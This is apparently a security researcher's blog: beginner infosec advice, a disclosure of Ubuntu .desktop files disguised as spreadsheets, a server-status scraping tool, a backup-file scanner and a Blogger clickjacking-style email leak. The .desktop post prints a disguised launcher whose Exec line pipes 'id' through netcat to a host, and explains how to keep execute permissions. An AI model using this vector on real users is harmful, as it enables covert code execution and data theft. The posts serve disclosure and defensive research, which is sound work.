Friday, August 11, 2017

Starting in InfoSec - 101

This blog post is written as a list of tips and notes on starting the field of Information Security from the beginning.

Question:-
How to Start into the field of information security?
I would like to become a bug bounty hunter, ethical hacker, web-app tester, or to have better knowledge in security testing. How to start?


Answer:-

Hi,

The following are tips and points should be followed when getting into the field of Information Security in general, and security testing in specific.



1- Start on the base of programming


It’s required to start from the very beginning when it comes to web-application testing. Without a good base, it’s very difficult to go further.

I recommend having a good base in scripting languages: PHP, Shell, then choose Python, Ruby, Node.JS or similar scripting languages.

Also, HTML/CSS/JS will be important for web security. Learning it in a good level would be important in order understand web, and further, to write web exploits and code.

This will give you a very good base on understanding the nature of applications, and how it could be developed. This will also help you in being capable of writing testing scripts or code that you would need in actual security testing.

You should at least reach a level  that you are capable of performing ideas that you have in mind. It takes time to learn, but it’s really vital.

2- Have a good knowledge in Linux/Unix

This will help you in learning how to interact with your machine, and how to get the most of it when performing tests.

3- Understand networking basics

Learning networking is very important. It should give you knowledge on how to approach a target in testing. Also, it will help you build blocks in the relation of the application and the server.


You should understand popular services and protocols, and how it works. Also, be able of knowing how to debug issues.


4- Basic knowledge of System Administration

Basic knowledge of system administration is very useful. It will help you understand how things work, and based on that, you would have an idea about common issues that can be used to break things.


5- Learning common web-application security vulnerabilities

After finishing the above, you can start in learning the common web-application security vulnerabilities. How to find it, how does it occur, and how to exploit it. Take each vulnerability and read a sample vulnerable code for it, (assuming you reached a good level in learning programming),  and then see how to protect from it.

There are vulnerable applications that can help you in it.
https://vulnhub.com/
is a great resource for getting vulnerable virtual machines.
(What’s a virtual machine? You should have this covered in previous sections).


6- Practice, Practice, and Practice

Nothing comes easily. Information security is not an industry of a 9-5 jobs. If you didn’t dedicate yourself for it, it will be difficult to improve. Put a good amount of efforts into learning and practicing.


7- English is world’s language of communication. Learn it to learn to read resources.


There is no doubt that English is today’s language of communication.

If you understand English, you would be able to access and understand a large amount of English resources. The majority of information security resources online are in English. English is a universal language, it’s required in almost anything in it. Do your best in learning it well.


8- Read, Read, and Read

I remember watching a TedX talk that gives an important and catchy quote, “Readers are Leaders”.

The more you read, the more you learn, the more you understand better, the more you improve.

It all start with reading. There are a large amount  of resources online that you can benefit from.


8- There is no Bullet-Proof Resource or Advise that will make you a good hacker

Information security is not a thing that you can learn from a single resource or place. Knowledge on the field is something that is obtained through hard work and practice.

9- Practice in CTFs and Bug Bounty Programs

After working on all the topics above, it would be a good time to start with CTFs and Bug Programs. These programs help you in getting practical knowledge of information security. It’s fun, and very helpful.

This a summary of what I have in mind in starting in the information security field. It’s not bullet-proof, but it will hopefully get you in a good level if followed right.



Best Regards,
Mazin Ahmed




Similar Resources


Saturday, April 8, 2017

Using Ubuntu .DESKTOP as a Malware Vector

    I have noticed a weird behavior in .DESKTOP file extensions that can be used as a malware vector. This issue is not detected as malware by all known AVs, and the way it behaves makes it a rich resource for spreading malware against Ubuntu and Linux Desktop users in general. I will focusing on Ubuntu Desktop on this blog post.

Introduction
    File managers on Ubuntu (Nautilus, Caja, Thunar are tested) treats .desktop in a special way. Basically, it parses .desktop, and view the files as the way it's saved on their .desktop entry. In addition to that, it also changes the icon of the file to the one specified in the .desktop entry too.

Example .desktop File

Let's say the filename is "firefox.desktop", and it's saved at "/root/test/"

```
 #!/usr/bin/env xdg-open

[Desktop Entry]
Version=1.0
Type=Application
Name = Firefox Browser
Comment = Firefox Browser
Icon = /path/to/icon
```

    when navigating to "/root/test" via a file manager, we will see a file called "Firefox Browser", and Icon of Firefox, instead of seeing a file called "firefox.desktop".


Let's dive more into "Desktop Entry" options.
    One of the most interesting entries is "Exec". Basically, it will take the input, and pass it to shell to be executed. That doesn't sound nice.

    We can simply inject a payload there, along with a custom crafted .desktop design that mimics an interesting file.


```
#!/usr/bin/env xdg-open

[Desktop Entry]
Version=1.0
Type=Application
Terminal=false
Name = Employees Salary.xslx
Comment = Employees Salary.xslx
Icon = libreoffice-calc
Exec = /bin/sh -c "id | nc 127.0.0.1 1337"
```

    Saving the file as "payload.desktop", when it's viewed, it will be viewed thanks to file managers as "Employees Salary.xslx" with LibreOffice icon. Once a user click on the file, the payload will be executed.

Profit?
Stealthy malware vector on Ubuntu Desktop.


Obstacles of Successful Exploitation

    Executing permissions would be an issue in exploitation. When a .desktop file does not have an execution permission, we get the following the error:



    This error can be bypassed by presetting the permissions to 07555 for example to be executed, then ZIPPing the file, and delivering it as a ZIP archive, when it's decompressed, the same permissions will be outputted. Now the malware vector would work normally with any distribution that supports .desktop extensions.


Proof of Concept
I have made a test repository that holds a simple PoC that will pop-up a calc.




To test on your local machine: 

$ git clone 'https://github.com/mazen160/Ubuntu-Desktop-Malware-Vector-Demo.git'

then navigate to the "Demo" folder using a file manager, you will see the following when clicking on the file:

Actions
    I have contacted Ubuntu security, and they have decided to accept the risk of this issue. Therefore, the issue is still there, and affects millions of users online.

Recommendation
    It's quite difficult to recommend stopping the usage of File Managers to mitigate the issue. However, I recommend checking/opening untrusted files via CLI. This helps in detecting the exploitation of .desktop malware vector.

Final Thoughts
    This was a cool idea I had in my mind that I thought of sharing it. I'm looking forward to your opinions regarding this technique.

Friday, January 13, 2017

Exploiting Misconfigured Apache server-status Instances with server-status_PWN


    


    One of the things that my clients like in my work that I always like to do my best in providing technical Proof of Concepts in findings I discover. This makes it easier for technical departments to reproduce the issues, and also a nice way to show how bugs and issues can be actually exploited.


    I recently had an assessment where I discovered a number of publicly exposed Apache server-status instances. In case you are not familiar with Apache server-status, feel free to read this document.


    When I report it initially to the company, the team thought that it would be an acceptable risk to leave it there.


    I believe Apache server-status should not be accessible, as it pose a major privacy and security risk.



What Information can be exposed?


* All requested URLs by all Hosts/VHosts on the Apache server.
This includes:
      * Hidden and obscure files and directories.
      * Session Tokens on GET REQUEST_URI (eg.. https://example.com/?token=123). If tokens are passed through GET HTTP method, it will be exposed, no matter what SSL encryption is used.

* All clients' IP addresses along with URLs the clients have requested.




What do we need as attackers?


    We need a script that constantly monitors the exposed Apache server-status, and extracts all new URLs, and save them for later testing.

    Also, if we are performing an intelligence engagement, we would need all IPs that interacts with the Apache server that hosts our target website, along with requested URLs. Then we need to constantly monitor the service on the hour.



What have I done to Solve the Issue?


    As a penetration tester, I believe that without an actual PoC, the attack would be theoretical, simple as that. PoC || GO is the rule of the game.

So, I wrote server-status PWN.




Introducing server-status PWN


    server-status PWN constantly requests and parses Apache server-status pages for any new event. Whenever a new URL is requested or a new client IP address is used, it will be logged and reported. It outputs the logs in a SQLITE3 database.


Example Tool Output:



    The tool basically did exactly what I needed, if anyone have additional ideas that would like to push it into server-status_PWN, let me know and I will be happy to implement it.



server-status_PWN Homepage: https://github.com/mazen160/server-status_PWN



    If you have a project or would like your application/network to be tested, I provide freelancing penetration testing services. Feel free to email me at <Mazin AT MazinAhmed DOT net>, and check the Hire Me page.




[February 20, 2017] Update:

    The Apache Foundation has made changes to their official Apache server-status instance, which was made available at: https://www.apache.org/server-status 
    Initially, it was publicly and intentionally accessible. Now, it shows a large notice stating that the data is "static data" and do not hold any users' data or information. Great job as always by Apache Foundation in protecting the user's security and privacy.

Screenshot

Sunday, October 23, 2016

Bug Bounty Hunting - Swiss Cyber Storm 2016






In October 2016, I had the pleasure to speak at Swiss Cyber Storm 2016 conference about Bug Bounty Hunting, and my experience in being a Bug Bounty Hunter.


About the Talk


The talk discusses Bug Bounty Programs from various domains. The talk discusses the usage of Bug Bounty Programs for companies, and how it can be implemented within a company to have better security cycle. I also explained common pitfalls done by companies, and how it can affect their Bug Bounty Program.

At the end, I closed talk by showing a number of cool findings in the last 2 months when doing bug hunting (August 2016 - September 2016). The hunting targets were SwissCom, the leading Swiss telecommunication provider, and Symantec, the world’s leading security company.

Eventually, I gave a note on the information security scene in the Middle East, and how difficult is it to develop as an ethical hacker in the Middle East.


Talk: Bug Hunting for Companies and Researchers: Bounty Hunting in Sudan and Abroad

Date: October 19th, 2016

Slides Mirrors:-



Personal Note

I have really enjoyed speaking at the SwissCyberStorm conference. The event was very organized, and everything was amazing. I’m definitely attending the event next year!


I would like to thank Christian Folini, Bernhard Tellenbach, and the entire SwissCyberStorm team for having this great event. I’m looking forward to meet all the organizers and attendees next year at the SwissCyberStorm 2017!

Thanks for reading,
Mazin

Some awesome photos with awesome people! :)

 






with Christian Folini (Left), and Florian Badertscher (Swisscom Bug Bounty representative) (Right)

from left to right:
Troy Hunt, Christian Folini, Scott Helme, Mazin Ahmed

with Scott Helme

 
with Troy Hunt



Thursday, August 18, 2016

Backup-File Artifacts: The Underrated Web-Danger


Backup-File Artifacts: The Underrated Web-Danger Testing and Exploiting Backup-File Artifacts with BFAC



In August 13th, 2016, I have given a talk about Backup-File Artifacts, an attacking vector that is not commonly known, or being tested by penetration testers, yet, can be critical to the security of the web environment. At the end of the of the talk, I have released BFAC, an automated security tool that tests for Backup-File Artifacts that is missed on web-servers and can discloses the web-application's source-code.

This post will discuss different ideas on Backup-File Artifacts, will cover the types of Backup-File Artifacts (BFAs), and ways that it occurs, and how it can be related to web-servers. Also, it will cover the usage of BFAC  (Backup-File Artifacts Checker) in finding BFA issues.


What is Backup-File Artifacts that can affects web-applications?


Backup-File Artifacts are basically files that was left during a backup process. Offline backup artifacts is a something that I will not discuss, since it does not affect the security of the web, and it's not related to this research's point.


Most developers make a backup file before editing a script (or code editors or other programs), and then push it to the web-server along with the backup file. Also, one of the developers’ behaviours is to edit a script in the webroot of the web-server, and when finished the process, the backup-file is left on the webroot. This eventually  allows any unauthenticated party to retrieve the source-code by downloading the BFA. This is a general explanation of the BFA concept.


Types of Backup-File Artifacts

    1.   Backup-File Artifacts Caused by Code-Editors

Text-Editors and Code-Editors intentionally make a backup file for the file that is being edited. This is done so that developers can recover the files they are editing if they encountered any issues.
By default, the backup file is made in the same directory of the file that is being edited, also with a pattern based on the original file name.


For instance, when editing a file called index.php with nano, a backup file will be created with the name “index.php.save”. The same goes to other code editors, each code-editor has its own pattern that it follows when creating a backup file for the file that is being edited.

If the backup file was left on the web-server, an attacker can brute-forces the file, until he finds an existent backup file. Since index.php.save will not be executed as index.php, index.php.save will be the response of the request, showing the source-code of the script. Of course, the same goes to all different patterns.


    2.   Backup-File Artifacts Caused by Missed VCS Meta-Directories on The Webroot
Version Control Systems (VCS) are very popular systems in today’s world. All VCS creates a meta-directory on the same folder of the project. This folder includes tracks and logs for every change is done to the files of the project.


Developers tend to download/clone their project’s repositories on the web-server, without removing the VCS directory. This causes the project to be leaked, since the VCS is publicly accessible for unauthorized parties on the web-server.

    3.   Human-Based Missed Backup-File Artifacts

Developers who are not using Version Control Systems tend to do a manual backup file for scripts that needs to be edited. Also, developers uses similar patterns usually that can be easily guessed and enumerated.

For example, when a developer would like to edit index.php, he/she would make an initial copy in case of any errors or issues. The copy can be named with something that is really common.

index.php → index.php.bak
index.php → index.old
index.php → index.php.temp

Since human-based backup patterns can be easily guessed, we can perform the same damage that was mentioned above, which causes the disclosure of the web-application's source-code.

The Problem


Security Researchers and Penetration Testers who relies solely on web-application vulnerability scanners might not encountered this issues a lot in real-world. The reason is because Most web-application vulnerability scanners does not test against Backup-File Artifacts on web-servers. Also, there are no major tools till the release of this research that is dedicated to test Backup-File Artifacts.

Examples of  tested web-application Vulnerability Scanners that does not test perform Backup-File Artifacts testing

  • OWASP ZAP 2.4
  • Vega
  • W3AF – There are partial plugins that does basic testing, but it’s disabled by default.
  • Nikto 2.4.6
  • Burp Suite Professional 1.7.X

Note: these are the versions that I have tested of the products, future versions are mostly don’t support testing for Backup-File Artifacts too.


There are very few number of Web-Application Vulnerability Scanners that does test for Backup-File Artifacts. However, those scanners are using really basic testing of Backup-File Artifacts. This testing that are done by these rare portion of web-application vulnerability scanners misses most important checks, and do not satisfy the needs for professional security assessment done by security testers. For that reasons, I wrote BFAC.

Introducing BFAC

BFAC (Backup-File Artifacts Checker) is an automated tool that checks for backup artifacts that may discloses the web-application's source code. BFAC goal is to be an all-in-one tool for backup-file artifacts black-box testing.

Features


  • Testing all common types of backup-file artifacts patterns, including human-based BFAs, and BFA that can occur via code-editors.
  • Includes tests for common VCS artifacts, such as GIT, Subversion, Mercurial, and Bazaar.
  • Smart detection techniques; Capable of detecting "Not Found", and valid pages using different tests.
  • Stealthy Interaction with Web Servers.
  • Easy to edit and customize based on needs; easy to add custom BFA patterns.
  • Dynamic and generic; made to be not specified to test a specific environment or server.

How to Protect from Backup-File Artifacts on Web-Servers?


System Administrations
Actively scan web-servers for Backup-File Artifacts, and review if anything found should be placed publicly. If it’s not needed, then remove it to a temporary directory for review by developers responsible for it.

Developers
After doing any edits, check if a backup file exist, and remove it from the webroot if it exists.

Penetration Testers
Add testing for Backup-File Artifacts to your testing checklists. Also, you can use BFAC to test for Backup-File Artifacts.


This article is a summary of the presentation, you can find the slides with more information and details below:




Friday, April 8, 2016

Google UI-Redressing Bug That Discloses The User's Email Address


     In this post, I will be talking about an interesting bug that affects Google Blogger. This security bug has been left undiscovered since almost 2007. 
  The bug allows an attacker to trick the victim into revealing his email address using UI-Redressing techniques.

Background
     We always see a header on blogs that is hosted on Google Blogger that looks like the following:

for unauthenticated users:

for authenticated users:

     As you can see, in the screenshot of an authenticated user, the user's email address is shown. The challenge now is how can we use this feature on our side; to reveal users's email address.
After testing the issue, it appears that the response of the HTTP request holds the user's email address lacks the usage of X-Frame-Options header. This means that anyone can make an HTTP request within an Iframe, and craft it in a way that can help the attacker in making unintended actions.
A screenshot that shows the lack of X-Frame-Options HTTP response header within the Blogger header's request.

     In most cases, we use UI-Redressing when we are allowed to perform “clicks”, and in that form, we would specify it as “Clickjacking”. This case is slightly different type of  UI-Redressing from an exploitation point of view.

     The idea that came to mind was to create a proof of concept that includes  an Iframe that responds with the user's email address, and then force the user into pasting the email within the page, where it gets sent to an external server (eg.. the attacker's sever).

     I have put this idea into code that does exactly that, you can watch the following demonstration video to see an example of the exploitation of the issue.

     A second idea which apparently failed to be performed due to strong Same-Origin Policy of modern browsers was to have an Iframe that responses with the user's email address, and once the response is received, a Javascript within the same HTML page executes that take a screenshot of the Iframe, then send it to an external server, where there will be function running that takes the image and transform it into plain text. This issue was not possible due to the Same-Origin Policy, as the API of getscreenshot() is restricted to not be able to read pixels of none-same-origin Iframe. 


Vendor Response:
     After a discussion with Google Security, Google has decided to not patch the issue.

Final Thoughts:
     This was quite an interesting bug, yet, the impact of the issue is not very high. I would like to share it as this issue is almost 10 years old, and no one has discovered, exploited, or discussed it before. 

     I would like to thank Google Security Team for their prompted and quick response regarding the issue.